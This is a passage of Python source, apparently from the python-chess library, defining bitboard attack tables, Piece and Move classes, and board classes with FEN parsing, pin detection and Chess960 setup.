BB_KING_ATTACKS: List[Bitboard] = [_step_attacks(sq, [9, 8, 7, 1, -9, -8, -7, -1]) for sq in SQUARES] BB_PAWN_ATTACKS: List[List[Bitboard]] = [[_step_attacks(sq, deltas) for sq in SQUARES] for deltas in [[-7, -9], [7, 9]]] def _edges(square: Square) -> Bitboard: return (((BB_RANK_1 | BB_RANK_8) & ~BB_RANKS[square_rank(square)]) | ((BB_FILE_A | BB_FILE_H) & ~BB_FILES[square_file(square)])) def _carry_rippler(mask: Bitboard) -> Iterator[Bitboard]: # Carry-Rippler trick to iterate subsets of mask. subset = BB_EMPTY while True: yield subset subset = (subset - mask) & mask if not subset: break def _attack_table(deltas: List[int]) -> Tuple[List[Bitboard], List[Dict[Bitboard, Bitboard]]]: mask_table: List[Bitboard] = [] attack_table: List[Dict[Bitboard, Bitboard]] = [] for square in SQUARES: attacks = {} mask = _sliding_attacks(square, 0, deltas) & ~_edges(square) for subset in _carry_rippler(mask): attacks[subset] = _sliding_attacks(square, subset, deltas) attack_table.append(attacks) mask_table.append(mask) return mask_table, attack_table BB_DIAG_MASKS, BB_DIAG_ATTACKS = _attack_table([-9, -7, 7, 9]) BB_FILE_MASKS, BB_FILE_ATTACKS = _attack_table([-8, 8]) BB_RANK_MASKS, BB_RANK_ATTACKS = _attack_table([-1, 1]) def _rays() -> List[List[Bitboard]]: rays: List[List[Bitboard]] = [] for a, bb_a in enumerate(BB_SQUARES): rays_row: List[Bitboard] = [] for b, bb_b in enumerate(BB_SQUARES): if BB_DIAG_ATTACKS[a][0] & bb_b: rays_row.append((BB_DIAG_ATTACKS[a][0] & BB_DIAG_ATTACKS[b][0]) | bb_a | bb_b) elif BB_RANK_ATTACKS[a][0] & bb_b: rays_row.append(BB_RANK_ATTACKS[a][0] | bb_a) elif BB_FILE_ATTACKS[a][0] & bb_b: rays_row.append(BB_FILE_ATTACKS[a][0] | bb_a) else: rays_row.append(BB_EMPTY) rays.append(rays_row) return rays BB_RAYS = _rays() def ray(a: Square, b: Square) -> Bitboard: return BB_RAYS[a][b] def between(a: Square, b: Square) -> Bitboard: bb = BB_RAYS[a][b] & ((BB_ALL << a) ^ (BB_ALL << b)) return bb & (bb - 1) SAN_REGEX = re.compile(r"^([NBKRQ])?([a-h])?([1-8])?[\-x]?([a-h][1-8])(=?[nbrqkNBRQK])?[\+#]?\Z") FEN_CASTLING_REGEX = re.compile(r"^(?:-|[KQABCDEFGH]{0,2}[kqabcdefgh]{0,2})\Z") @dataclasses.dataclass class Piece: """A piece with type and color.""" piece_type: PieceType """The piece type.""" color: Color """The piece color.""" def symbol(self) -> str: """ Gets the symbol ``P``, ``N``, ``B``, ``R``, ``Q`` or ``K`` for white pieces or the lower-case variants for the black pieces. """ symbol = piece_symbol(self.piece_type) return symbol.upper() if self.color else symbol def unicode_symbol(self, *, invert_color: bool = False) -> str: """ Gets the Unicode character for the piece. """ symbol = self.symbol().swapcase() if invert_color else self.symbol() return UNICODE_PIECE_SYMBOLS[symbol] def __hash__(self) -> int: return self.piece_type + (-1 if self.color else 5) def __repr__(self) -> str: return f"Piece.from_symbol({self.symbol()!r})" def __str__(self) -> str: return self.symbol() def _repr_svg_(self) -> str: import chess.svg return chess.svg.piece(self, size=45) @classmethod def from_symbol(cls, symbol: str) -> Piece: """ Creates a :class:`~chess.Piece` instance from a piece symbol. :raises: :exc:`ValueError` if the symbol is invalid. """ return cls(PIECE_SYMBOLS.index(symbol.lower()), symbol.isupper()) @dataclasses.dataclass(unsafe_hash=True) class Move: """ Represents a move from a square to a square and possibly the promotion piece type. Drops and null moves are supported. """ from_square: Square """The source square.""" to_square: Square """The target square.""" promotion: Optional[PieceType] = None """The promotion piece type or ``None``.""" drop: Optional[PieceType] = None """The drop piece type or ``None``.""" def uci(self) -> str: """ Gets a UCI string for the move. For example, a move from a7 to a8 would be ``a7a8`` or ``a7a8q`` (if the latter is a promotion to a queen). The UCI representation of a null move is ``0000``. """ if self.drop: return piece_symbol(self.drop).upper() + "@" + SQUARE_NAMES[self.to_square] elif self.promotion: return SQUARE_NAMES[self.from_square] + SQUARE_NAMES[self.to_square] + piece_symbol(self.promotion) elif self: return SQUARE_NAMES[self.from_square] + SQUARE_NAMES[self.to_square] else: return "0000" def xboard(self) -> str: return self.uci() if self else "@@@@" def __bool__(self) -> bool: return bool(self.from_square or self.to_square or self.promotion or self.drop) def __repr__(self) -> str: return f"Move.from_uci({self.uci()!r})" def __str__(self) -> str: return self.uci() @classmethod def from_uci(cls, uci: str) -> Move: """ Parses a UCI string. :raises: :exc:`InvalidMoveError` if the UCI string is invalid. """ if uci == "0000": return cls.null() elif len(uci) == 4 and "@" == uci[1]: try: drop = PIECE_SYMBOLS.index(uci[0].lower()) square = SQUARE_NAMES.index(uci[2:]) except ValueError: raise InvalidMoveError(f"invalid uci: {uci!r}") return cls(square, square, drop=drop) elif 4 <= len(uci) <= 5: try: from_square = SQUARE_NAMES.index(uci[0:2]) to_square = SQUARE_NAMES.index(uci[2:4]) promotion = PIECE_SYMBOLS.index(uci[4]) if len(uci) == 5 else None except ValueError: raise InvalidMoveError(f"invalid uci: {uci!r}") if from_square == to_square: raise InvalidMoveError(f"invalid uci (use 0000 for null moves): {uci!r}") return cls(from_square, to_square, promotion=promotion) else: raise InvalidMoveError(f"expected uci string to be of length 4 or 5: {uci!r}") @classmethod def null(cls) -> Move: """ Gets a null move. A null move just passes the turn to the other side (and possibly forfeits en passant capturing). Null moves evaluate to ``False`` in boolean contexts. >>> import chess >>> >>> bool(chess.Move.null()) False """ return cls(0, 0) BaseBoardT = TypeVar("BaseBoardT", bound="BaseBoard") class BaseBoard: """ A board representing the position of chess pieces. See :class:`~chess.Board` for a full board with move generation. The board is initialized with the standard chess starting position, unless otherwise specified in the optional *board_fen* argument. If *board_fen* is ``None``, an empty board is created. """ def __init__(self, board_fen: Optional[str] = STARTING_BOARD_FEN) -> None: self.occupied_co = [BB_EMPTY, BB_EMPTY] if board_fen is None: self._clear_board() elif board_fen == STARTING_BOARD_FEN: self._reset_board() else: self._set_board_fen(board_fen) def _reset_board(self) -> None: self.pawns = BB_RANK_2 | BB_RANK_7 self.knights = BB_B1 | BB_G1 | BB_B8 | BB_G8 self.bishops = BB_C1 | BB_F1 | BB_C8 | BB_F8 self.rooks = BB_CORNERS self.queens = BB_D1 | BB_D8 self.kings = BB_E1 | BB_E8 self.promoted = BB_EMPTY self.occupied_co[WHITE] = BB_RANK_1 | BB_RANK_2 self.occupied_co[BLACK] = BB_RANK_7 | BB_RANK_8 self.occupied = BB_RANK_1 | BB_RANK_2 | BB_RANK_7 | BB_RANK_8 def reset_board(self) -> None: """ Resets pieces to the starting position. :class:`~chess.Board` also resets the move stack, but not turn, castling rights and move counters. Use :func:`chess.Board.reset()` to fully restore the starting position. """ self._reset_board() def _clear_board(self) -> None: self.pawns = BB_EMPTY self.knights = BB_EMPTY self.bishops = BB_EMPTY self.rooks = BB_EMPTY self.queens = BB_EMPTY self.kings = BB_EMPTY self.promoted = BB_EMPTY self.occupied_co[WHITE] = BB_EMPTY self.occupied_co[BLACK] = BB_EMPTY self.occupied = BB_EMPTY def clear_board(self) -> None: """ Clears the board. :class:`~chess.Board` also clears the move stack. """ self._clear_board() def pieces_mask(self, piece_type: PieceType, color: Color) -> Bitboard: if piece_type == PAWN: bb = self.pawns elif piece_type == KNIGHT: bb = self.knights elif piece_type == BISHOP: bb = self.bishops elif piece_type == ROOK: bb = self.rooks elif piece_type == QUEEN: bb = self.queens elif piece_type == KING: bb = self.kings else: assert False, f"expected PieceType, got {piece_type!r}" return bb & self.occupied_co[color] def pieces(self, piece_type: PieceType, color: Color) -> SquareSet: """ Gets pieces of the given type and color. Returns a :class:`set of squares <chess.SquareSet>`. """ return SquareSet(self.pieces_mask(piece_type, color)) def piece_at(self, square: Square) -> Optional[Piece]: """Gets the :class:`piece <chess.Piece>` at the given square.""" piece_type = self.piece_type_at(square) if piece_type: mask = BB_SQUARES[square] color = bool(self.occupied_co[WHITE] & mask) return Piece(piece_type, color) else: return None def piece_type_at(self, square: Square) -> Optional[PieceType]: """Gets the piece type at the given square.""" mask = BB_SQUARES[square] if not self.occupied & mask: return None # Early return elif self.pawns & mask: return PAWN elif self.knights & mask: return KNIGHT elif self.bishops & mask: return BISHOP elif self.rooks & mask: return ROOK elif self.queens & mask: return QUEEN else: return KING def color_at(self, square: Square) -> Optional[Color]: """Gets the color of the piece at the given square.""" mask = BB_SQUARES[square] if self.occupied_co[WHITE] & mask: return WHITE elif self.occupied_co[BLACK] & mask: return BLACK else: return None def king(self, color: Color) -> Optional[Square]: """ Finds the king square of the given side. Returns ``None`` if there is no king of that color. In variants with king promotions, only non-promoted kings are considered. """ king_mask = self.occupied_co[color] & self.kings & ~self.promoted return msb(king_mask) if king_mask else None def attacks_mask(self, square: Square) -> Bitboard: bb_square = BB_SQUARES[square] if bb_square & self.pawns: color = bool(bb_square & self.occupied_co[WHITE]) return BB_PAWN_ATTACKS[color][square] elif bb_square & self.knights: return BB_KNIGHT_ATTACKS[square] elif bb_square & self.kings: return BB_KING_ATTACKS[square] else: attacks = 0 if bb_square & self.bishops or bb_square & self.queens: attacks = BB_DIAG_ATTACKS[square][BB_DIAG_MASKS[square] & self.occupied] if bb_square & self.rooks or bb_square & self.queens: attacks |= (BB_RANK_ATTACKS[square][BB_RANK_MASKS[square] & self.occupied] | BB_FILE_ATTACKS[square][BB_FILE_MASKS[square] & self.occupied]) return attacks def attacks(self, square: Square) -> SquareSet: """ Gets the set of attacked squares from the given square. There will be no attacks if the square is empty. Pinned pieces are still attacking other squares. Returns a :class:`set of squares <chess.SquareSet>`. """ return SquareSet(self.attacks_mask(square)) def attackers_mask(self, color: Color, square: Square, occupied: Optional[Bitboard] = None) -> Bitboard: occupied = self.occupied if occupied is None else occupied rank_pieces = BB_RANK_MASKS[square] & occupied file_pieces = BB_FILE_MASKS[square] & occupied diag_pieces = BB_DIAG_MASKS[square] & occupied queens_and_rooks = self.queens | self.rooks queens_and_bishops = self.queens | self.bishops attackers = ( (BB_KING_ATTACKS[square] & self.kings) | (BB_KNIGHT_ATTACKS[square] & self.knights) | (BB_RANK_ATTACKS[square][rank_pieces] & queens_and_rooks) | (BB_FILE_ATTACKS[square][file_pieces] & queens_and_rooks) | (BB_DIAG_ATTACKS[square][diag_pieces] & queens_and_bishops) | (BB_PAWN_ATTACKS[not color][square] & self.pawns)) return attackers & self.occupied_co[color] def is_attacked_by(self, color: Color, square: Square, occupied: Optional[IntoSquareSet] = None) -> bool: """ Checks if the given side attacks the given square. Pinned pieces still count as attackers. Pawns that can be captured en passant are **not** considered attacked. *occupied* determines which squares are considered to block attacks. For example, ``board.occupied ^ board.pieces_mask(chess.KING, board.turn)`` can be used to consider X-ray attacks through the king. Defaults to ``board.occupied`` (all pieces including the king, no X-ray attacks). """ return bool(self.attackers_mask(color, square, None if occupied is None else SquareSet(occupied).mask)) def attackers(self, color: Color, square: Square, occupied: Optional[IntoSquareSet] = None) -> SquareSet: """ Gets the set of attackers of the given color for the given square. Pinned pieces still count as attackers. *occupied* determines which squares are considered to block attacks. For example, ``board.occupied ^ board.pieces_mask(chess.KING, board.turn)`` can be used to consider X-ray attacks through the king. Defaults to ``board.occupied`` (all pieces including the king, no X-ray attacks). Returns a :class:`set of squares <chess.SquareSet>`. """ return SquareSet(self.attackers_mask(color, square, None if occupied is None else SquareSet(occupied).mask)) def pin_mask(self, color: Color, square: Square) -> Bitboard: king = self.king(color) if king is None: return BB_ALL square_mask = BB_SQUARES[square] for attacks, sliders in [(BB_FILE_ATTACKS, self.rooks | self.queens), (BB_RANK_ATTACKS, self.rooks | self.queens), (BB_DIAG_ATTACKS, self.bishops | self.queens)]: rays = attacks[king][0] if rays & square_mask: snipers = rays & sliders & self.occupied_co[not color] for sniper in scan_reversed(snipers): if between(sniper, king) & (self.occupied | square_mask) == square_mask: return ray(king, sniper) break return BB_ALL def pin(self, color: Color, square: Square) -> SquareSet: """ Detects an absolute pin (and its direction) of the given square to the king of the given color. >>> import chess >>> >>> board = chess.Board("rnb1k2r/ppp2ppp/5n2/3q4/1b1P4/2N5/PP3PPP/R1BQKBNR w KQkq - 3 7") >>> board.is_pinned(chess.WHITE, chess.C3) True >>> direction = board.pin(chess.WHITE, chess.C3) >>> direction SquareSet(0x0000_0001_0204_0810) >>> print(direction) . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . 1 . . . Returns a :class:`set of squares <chess.SquareSet>` that mask the rank, file or diagonal of the pin. If there is no pin, then a mask of the entire board is returned. """ return SquareSet(self.pin_mask(color, square)) def is_pinned(self, color: Color, square: Square) -> bool: """ Detects if the given square is pinned to the king of the given color. """ return self.pin_mask(color, square) != BB_ALL def _remove_piece_at(self, square: Square) -> Optional[PieceType]: piece_type = self.piece_type_at(square) mask = BB_SQUARES[square] if piece_type == PAWN: self.pawns ^= mask elif piece_type == KNIGHT: self.knights ^= mask elif piece_type == BISHOP: self.bishops ^= mask elif piece_type == ROOK: self.rooks ^= mask elif piece_type == QUEEN: self.queens ^= mask elif piece_type == KING: self.kings ^= mask else: return None self.occupied ^= mask self.occupied_co[WHITE] &= ~mask self.occupied_co[BLACK] &= ~mask self.promoted &= ~mask return piece_type def remove_piece_at(self, square: Square) -> Optional[Piece]: """ Removes the piece from the given square. Returns the :class:`~chess.Piece` or ``None`` if the square was already empty. :class:`~chess.Board` also clears the move stack. """ color = bool(self.occupied_co[WHITE] & BB_SQUARES[square]) piece_type = self._remove_piece_at(square) return Piece(piece_type, color) if piece_type else None def _set_piece_at(self, square: Square, piece_type: PieceType, color: Color, promoted: bool = False) -> None: self._remove_piece_at(square) mask = BB_SQUARES[square] if piece_type == PAWN: self.pawns |= mask elif piece_type == KNIGHT: self.knights |= mask elif piece_type == BISHOP: self.bishops |= mask elif piece_type == ROOK: self.rooks |= mask elif piece_type == QUEEN: self.queens |= mask elif piece_type == KING: self.kings |= mask else: return self.occupied ^= mask self.occupied_co[color] ^= mask if promoted: self.promoted ^= mask def set_piece_at(self, square: Square, piece: Optional[Piece], promoted: bool = False) -> None: """ Sets a piece at the given square. An existing piece is replaced. Setting *piece* to ``None`` is equivalent to :func:`~chess.Board.remove_piece_at()`. :class:`~chess.Board` also clears the move stack. """ if piece is None: self._remove_piece_at(square) else: self._set_piece_at(square, piece.piece_type, piece.color, promoted) def board_fen(self, *, promoted: Optional[bool] = False) -> str: """ Gets the board FEN (e.g., ``rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR``). """ builder: List[str] = [] empty = 0 for square in SQUARES_180: piece = self.piece_at(square) if not piece: empty += 1 else: if empty: builder.append(str(empty)) empty = 0 builder.append(piece.symbol()) if promoted and BB_SQUARES[square] & self.promoted: builder.append("~") if BB_SQUARES[square] & BB_FILE_H: if empty: builder.append(str(empty)) empty = 0 if square != H1: builder.append("/") return "".join(builder) def _set_board_fen(self, fen: str) -> None: # Compatibility with set_fen(). fen = fen.strip() if " " in fen: raise ValueError(f"expected position part of fen, got multiple parts: {fen!r}") # Ensure the FEN is valid. rows = fen.split("/") if len(rows) != 8: raise ValueError(f"expected 8 rows in position part of fen: {fen!r}") # Validate each row. for row in rows: field_sum = 0 previous_was_digit = False previous_was_piece = False for c in row: if c in ["1", "2", "3", "4", "5", "6", "7", "8"]: if previous_was_digit: raise ValueError(f"two subsequent digits in position part of fen: {fen!r}") field_sum += int(c) previous_was_digit = True previous_was_piece = False elif c == "~": if not previous_was_piece: raise ValueError(f"'~' not after piece in position part of fen: {fen!r}") previous_was_digit = False previous_was_piece = False elif c.lower() in PIECE_SYMBOLS: field_sum += 1 previous_was_digit = False previous_was_piece = True else: raise ValueError(f"invalid character in position part of fen: {fen!r}") if field_sum != 8: raise ValueError(f"expected 8 columns per row in position part of fen: {fen!r}") # Clear the board. self._clear_board() # Put pieces on the board. square_index = 0 for c in fen: if c in ["1", "2", "3", "4", "5", "6", "7", "8"]: square_index += int(c) elif c.lower() in PIECE_SYMBOLS: piece = Piece.from_symbol(c) self._set_piece_at(SQUARES_180[square_index], piece.piece_type, piece.color) square_index += 1 elif c == "~": self.promoted |= BB_SQUARES[SQUARES_180[square_index - 1]] def set_board_fen(self, fen: str) -> None: """ Parses *fen* and sets up the board, where *fen* is the board part of a FEN. :class:`~chess.Board` also clears the move stack. :raises: :exc:`ValueError` if syntactically invalid. """ self._set_board_fen(fen) def piece_map(self, *, mask: Bitboard = BB_ALL) -> Dict[Square, Piece]: """ Gets a dictionary of :class:`pieces <chess.Piece>` by square index. """ result: Dict[Square, Piece] = {} for square in scan_reversed(self.occupied & mask): result[square] = typing.cast(Piece, self.piece_at(square)) return result def _set_piece_map(self, pieces: Mapping[Square, Piece]) -> None: self._clear_board() for square, piece in pieces.items(): self._set_piece_at(square, piece.piece_type, piece.color) def set_piece_map(self, pieces: Mapping[Square, Piece]) -> None: """ Sets up the board from a dictionary of :class:`pieces <chess.Piece>` by square index. :class:`~chess.Board` also clears the move stack. """ self._set_piece_map(pieces) def _set_chess960_pos(self, scharnagl: int) -> None: if not 0 <= scharnagl <= 959: raise ValueError(f"chess960 position index not 0 <= {scharnagl!r} <= 959") # See http://www.russellcottrell.com/Chess/Chess960.htm for # a description of the algorithm. n, bw = divmod(scharnagl, 4) n, bb = divmod(n, 4) n, q = divmod(n, 6) n1 = 0 n2 = 0 for n1 in range(0, 4): n2 = n + (3 - n1) * (4 - n1) // 2 - 5 if n1 < n2 and 1 <= n2 <= 4: break # Bishops. bw_file = bw * 2 + 1 bb_file = bb * 2 self.bishops = (BB_FILES[bw_file] | BB_FILES[bb_file]) & BB_BACKRANKS # Queens. q_file = q q_file += int(min(bw_file, bb_file) <= q_file) q_file += int(max(bw_file, bb_file) <= q_file) self.queens = BB_FILES[q_file] & BB_BACKRANKS used = [bw_file, bb_file, q_file] # Knights. self.knights = BB_EMPTY for i in range(0, 8): if i not in used: if n1 == 0 or n2 == 0: self.knights |= BB_FILES[i] & BB_BACKRANKS used.append(i) n1 -= 1 n2 -= 1 # RKR. for i in range(0, 8): if i not in used: self.rooks = BB_FILES[i] & BB_BACKRANKS used.append(i) break for i in range(1, 8): if i not in used: self.kings = BB_FILES[i] & BB_BACKRANKS used.append(i) break for i in range(2, 8): if i not in used: self.rooks |= BB_FILES[i] & BB_BACKRANKS break # Finalize. self.pawns = BB_RANK_2 | BB_RANK_7 self.occupied_co[WHITE] = BB_RANK_1 | BB_RANK_2 self.occupied_co[BLACK] = BB_RANK_7 | BB_RANK_8 self.occupied = BB_RANK_1 | BB_RANK_2 | BB_RANK_7 | BB_RANK_8 self.promoted = BB_EMPTY def set_chess960_pos(self, scharnagl: int) -> None: """ Sets up a Chess960 starting position given its index between 0 and 959. Also see :func:`~chess.BaseBoard.from_chess960_pos()`. """ self._set_chess960_pos(scharnagl) def chess960_pos(self) -> Optional[int]: """ Gets the Chess960 starting position index between 0 and 959, or ``None``. """ if self.occupied_co[WHITE] != BB_RANK_1 | BB_RANK_2: return None if self.occupied_co[BLACK] != BB_RANK_7 | BB_RANK_8: return None if self.pawns != BB_RANK_2 | BB_RANK_7: return None if self.promoted: return None # Piece counts. brnqk = [self.bishops, self.rooks, self.knights, self.queens, self.kings] if [popcount(pieces) for pieces in brnqk] != [4, 4, 4, 2, 2]: return None # Symmetry. if any((BB_RANK_1 & pieces) << 56 != BB_RANK_8 & pieces for pieces in brnqk): return None # Algorithm from ChessX, src/database/bitboard.cpp, r2254. x = self.bishops & (2 + 8 + 32 + 128) if not x: return None bs1 = (lsb(x) - 1) // 2 cc_pos = bs1 x = self.bishops & (1 + 4 + 16 + 64) if not x: return None bs2 = lsb(x) * 2 cc_pos += bs2 q = 0 qf = False n0 = 0 n1 = 0 n0f = False n1f = False rf = 0 n0s = [0, 4, 7, 9] for square in range(A1, H1 + 1): bb = BB_SQUARES[square] if bb & self.queens: qf = True elif bb & self.rooks or bb & self.kings: if bb & self.kings: if rf != 1: return None else: rf += 1 if not qf: q += 1 if not n0f: n0 += 1 elif not n1f: n1 += 1 elif bb & self.knights: if not qf: q += 1 if not n0f: n0f = True elif not n1f: n1f = True if n0 < 4 and n1f and qf: cc_pos += q * 16 krn = n0s[n0] + n1 cc_pos += krn * 96 return cc_pos else: return None def __repr__(self) -> str: return f"{type(self).__name__}({self.board_fen()!r})" def __str__(self) -> str: builder: List[str] = [] for square in SQUARES_180: piece = self.piece_at(square) if piece: builder.append(piece.symbol()) else: builder.append(".") if BB_SQUARES[square] & BB_FILE_H: if square != H1: builder.append("\n") else: builder.append(" ") return "".join(builder) def unicode(self, *, invert_color: bool = False, borders: bool = False, empty_square: str = "⭘", orientation: Color = WHITE) -> str: """ Returns a string representation of the board with Unicode pieces. Useful for pretty-printing to a terminal. :param invert_color: Invert color of the Unicode pieces. :param borders: Show borders and a coordinate margin. """ builder: List[str] = [] for rank_index in (range(7, -1, -1) if orientation else range(8)): if borders: builder.append(" ") builder.append("-" * 17) builder.append("\n") builder.append(RANK_NAMES[rank_index]) builder.append(" ") for i, file_index in enumerate(range(8) if orientation else range(7, -1, -1)): square_index = square(file_index, rank_index) if borders: builder.append("|") elif i > 0: builder.append(" ") piece = self.piece_at(square_index) if piece: builder.append(piece.unicode_symbol(invert_color=invert_color)) else: builder.append(empty_square) if borders: builder.append("|") if borders or (rank_index > 0 if orientation else rank_index < 7): builder.append("\n") if borders: builder.append(" ") builder.append("-" * 17) builder.append("\n") letters = "a b c d e f g h" if orientation else "h g f e d c b a" builder.append(" " + letters) return "".join(builder) def _repr_svg_(self) -> str: import chess.svg return chess.svg.board(board=self, size=400) def __eq__(self, board: object) -> bool: if isinstance(board, BaseBoard): return ( self.occupied == board.occupied and self.occupied_co[WHITE] == board.occupied_co[WHITE] and self.pawns == board.pawns and self.knights == board.knights and self.bishops == board.bishops and self.rooks == board.rooks and self.queens == board.queens and self.kings == board.kings) else: return NotImplemented def apply_transform(self, f: Callable[[Bitboard], Bitboard]) -> None: self.pawns = f(self.pawns) self.knights = f(self.knights) self.bishops = f(self.bishops) self.rooks = f(self.rooks) self.queens = f(self.queens) self.kings = f(self.kings) self.occupied_co[WHITE] = f(self.occupied_co[WHITE]) self.occupied_co[BLACK] = f(self.occupied_co[BLACK]) self.occupied = f(self.occupied) self.promoted = f(self.promoted) def transform(self, f: Callable[[Bitboard], Bitboard]) -> Self: """ Returns a transformed copy of the board (without move stack) by applying a bitboard transformation function. Available transformations include :func:`chess.flip_vertical()`, :func:`chess.flip_horizontal()`, :func:`chess.flip_diagonal()`, :func:`chess.flip_anti_diagonal()`, :func:`chess.shift_down()`, :func:`chess.shift_up()`, :func:`chess.shift_left()`, and :func:`chess.shift_right()`. Alternatively, :func:`~chess.BaseBoard.apply_transform()` can be used to apply the transformation on the board. """ board = self.copy() board.apply_transform(f) return board def apply_mirror(self) -> None: self.apply_transform(flip_vertical) self.occupied_co[WHITE], self.occupied_co[BLACK] = self.occupied_co[BLACK], self.occupied_co[WHITE] def mirror(self) -> Self: """ Returns a mirrored copy of the board (without move stack). The board is mirrored vertically and piece colors are swapped, so that the position is equivalent modulo color. Alternatively, :func:`~chess.BaseBoard.apply_mirror()` can be used to mirror the board. """ board = self.copy() board.apply_mirror() return board def copy(self) -> Self: """Creates a copy of the board.""" board = type(self)(None) board.pawns = self.pawns board.knights = self.knights board.bishops = self.bishops board.rooks = self.rooks board.queens = self.queens board.kings = self.kings board.occupied_co[WHITE] = self.occupied_co[WHITE] board.occupied_co[BLACK] = self.occupied_co[BLACK] board.occupied = self.occupied board.promoted = self.promoted return board def __copy__(self) -> Self: return self.copy() def __deepcopy__(self, memo: Dict[int, object]) -> Self: board = self.copy() memo[id(self)] = board return board @classmethod def empty(cls: Type[BaseBoardT]) -> BaseBoardT: """ Creates a new empty board. Also see :func:`~chess.BaseBoard.clear_board()`. """ return cls(None) @classmethod def from_chess960_pos(cls: Type[BaseBoardT], scharnagl: int) -> BaseBoardT: """ Creates a new board, initialized with a Chess960 starting position. >>> import chess >>> import random >>> >>> board = chess.Board.from_chess960_pos(random.randint(0, 959)) """ board = cls.empty() board.set_chess960_pos(scharnagl) return board BoardT = TypeVar("BoardT", bound="Board") class _BoardState: def __init__(self, board: Board) -> None: self.pawns = board.pawns self.knights = board.knights self.bishops = board.bishops self.rooks = board.rooks self.queens = board.queens self.kings = board.kings self.occupied_w = board.occupied_co[WHITE] self.occupied_b = board.occupied_co[BLACK] self.occupied = board.occupied self.promoted = board.promoted self.turn = board.turn self.castling_rights = board.castling_rights self.ep_square = board.ep_square self.halfmove_clock = board.halfmove_clock self.fullmove_number = board.fullmove_number def restore(self, board: Board) -> None: board.pawns = self.pawns board.knights = self.knights board.bishops = self.bishops board.rooks = self.rooks board.queens = self.queens board.kings = self.kings board.occupied_co[WHITE] = self.occupied_w board.occupied_co[BLACK] = self.occupied_b board.occupied = self.occupied board.promoted = self.promoted board.turn = self.turn board.castling_rights = self.castling_rights board.ep_square = self.ep_square board.halfmove_clock = self.halfmove_clock board.fullmove_number = self.fullmove_number class Board(BaseBoard): """ A :class:`~chess.BaseBoard`, additional information representing a chess position, and a :data:`move stack <chess.Board.move_stack>`. Provides :data:`move generation <chess.Board.legal_moves>`, validation, :func:`parsing <chess.Board.parse_san()>`, attack generation, :func:`game end detection <chess.Board.is_game_over()>`, and the capability to :func:`make <chess.Board.push()>` and :func:`unmake <chess.Board.pop()>` moves. The board is initialized to the standard chess starting position, unless otherwise specified in the optional *fen* argument. If *fen* is ``None``, an empty board is created. Optionally supports *chess960*. In Chess960, castling moves are encoded by a king move to the corresponding rook square. Use :func:`chess.Board.from_chess960_pos()` to create a board with one of the Chess960 starting positions. It's safe to set :data:`~Board.turn`, :data:`~Board.castling_rights`, :data:`~Board.ep_square`, :data:`~Board.halfmove_clock` and :data:`~Board.fullmove_number` directly. .. warning:: It is possible to set up and work with invalid positions. In this case, :class:`~chess.Board` implements a kind of "pseudo-chess" (useful to gracefully handle errors or to implement chess variants). Use :func:`~chess.Board.is_valid()` to detect invalid positions. """ aliases: ClassVar[List[str]] = ["Standard", "Chess", "Classical", "Normal", "Illegal", "From Position"] uci_variant: ClassVar[Optional[str]] = "chess" xboard_variant: ClassVar[Optional[str]] = "normal" starting_fen: ClassVar[str] = STARTING_FEN tbw_suffix: ClassVar[Optional[str]] = ".rtbw" tbz_suffix: ClassVar[Optional[str]] = ".rtbz" tbw_magic: ClassVar[Optional[bytes]] = b"\x71\xe8\x23\x5d" tbz_magic: ClassVar[Optional[bytes]] = b"\xd7\x66\x0c\xa5" pawnless_tbw_suffix: ClassVar[Optional[str]] = None pawnless_tbz_suffix: ClassVar[Optional[str]] = None pawnless_tbw_magic: ClassVar[Optional[bytes]] = None pawnless_tbz_magic: ClassVar[Optional[bytes]] = None connected_kings: ClassVar[bool] = False one_king: ClassVar[bool] = True captures_compulsory: ClassVar[bool] = False turn: Color """The side to move (``chess.WHITE`` or ``chess.BLACK``).""" castling_rights: Bitboard """ Bitmask of the rooks with castling rights. To test for specific squares: >>> import chess >>> >>> board = chess.Board() >>> bool(board.castling_rights & chess.BB_H1) # White can castle with the h1 rook True To add a specific square: >>> board.castling_rights |= chess.BB_A1 Use :func:`~chess.Board.set_castling_fen()` to set multiple castling rights. Also see :func:`~chess.Board.has_castling_rights()`, :func:`~chess.Board.has_kingside_castling_rights()`, :func:`~chess.Board.has_queenside_castling_rights()`, :func:`~chess.Board.has_chess960_castling_rights()`, :func:`~chess.Board.clean_castling_rights()`. """ ep_square: Optional[Square] """ The potential en passant square on the third or sixth rank or ``None``. Use :func:`~chess.Board.has_legal_en_passant()` to test if en passant capturing would actually be possible on the next move. """ fullmove_number: int """ Counts move pairs. Starts at `1` and is incremented after every move of the black side. """ halfmove_clock: int """The number of half-moves since the last capture or pawn move.""" promoted: Bitboard """A bitmask of pieces that have been promoted.""" chess960: bool """ Whether the board is in Chess960 mode. In Chess960 castling moves are represented as king moves to the corresponding rook square. """ move_stack: List[Move] """ The move stack. Use :func:`Board.push() <chess.Board.push()>`, :func:`Board.pop() <chess.Board.pop()>`, :func:`Board.peek() <chess.Board.peek()>` and :func:`Board.clear_stack() <chess.Board.clear_stack()>` for manipulation. """ def __init__(self, fen: Optional[str] = STARTING_FEN, *, chess960: bool = False) -> None: BaseBoard.__init__(self, None) self.chess960 = chess960 self.ep_square = None self.move_stack = [] self._stack: List[_BoardState] = [] if fen is None: self.clear() elif fen == type(self).starting_fen: self.reset() else: self.set_fen(fen) @property def legal_moves(self) -> LegalMoveGenerator: """ A dynamic list of legal moves. >>> import chess >>> >>> board = chess.Board() >>> board.legal_moves.count() 20 >>> bool(board.legal_moves) True >>> move = chess.Move.from_uci("g1f3") >>> move in board.legal_moves True Wraps :func:`~chess.Board.generate_legal_moves()` and :func:`~chess.Board.is_legal()`. """ return LegalMoveGenerator(self) @property def pseudo_legal_moves(self) -> PseudoLegalMoveGenerator: """ A dynamic list of pseudo-legal moves, much like the legal move list. Pseudo-legal moves might leave or put the king in check, but are otherwise valid. Null moves are not pseudo-legal. Castling moves are only included if they are completely legal. Wraps :func:`~chess.Board.generate_pseudo_legal_moves()` and :func:`~chess.Board.is_pseudo_legal()`. """ return PseudoLegalMoveGenerator(self) def reset(self) -> None: """Restores the starting position.""" self.turn = WHITE self.castling_rights = BB_CORNERS self.ep_square = None self.halfmove_clock = 0 self.fullmove_number = 1 self.reset_board() def reset_board(self) -> None: super().reset_board() self.clear_stack() def clear(self) -> None: """ Clears the board. Resets move stack and move counters. The side to move is white. There are no rooks or kings, so castling rights are removed. In order to be in a valid :func:`~chess.Board.status()`, at least kings need to be put on the board. """ self.turn 